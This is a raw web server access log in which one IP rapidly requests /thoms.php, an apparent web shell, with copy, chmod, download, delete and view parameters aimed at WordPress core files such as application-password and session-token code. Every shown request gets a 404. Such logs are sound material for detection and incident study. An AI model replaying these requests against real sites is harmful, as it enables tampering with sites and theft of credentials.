45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?dl=comment-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcron.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcron.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frss.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frss.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?del=Text&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=Text&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?chmod=category.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?del=interactivity-api&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?del=feed-rss2.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:49 -0400] "GET /thoms.php?dl=plugin.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?dl=version.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=version.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?chmod=ai-client&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?chmod=images&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=images&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?del=sitemaps&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?chmod=comment-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?dl=formatting.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?chmod=class-feed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?dl=fonts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?del=comment-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:50 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fview-transitions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fview-transitions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?chmod=rss-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?dl=post.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?del=block-supports&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-supports&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-i18n.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:51 -0400] "GET /thoms.php?del=default-widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fphp-compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?chmod=json-schema.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?chmod=class-pop3.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?del=block-bindings&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?dl=rewrite.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?del=abilities-api.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=abilities-api.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:52 -0400] "GET /thoms.php?chmod=bookmark.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
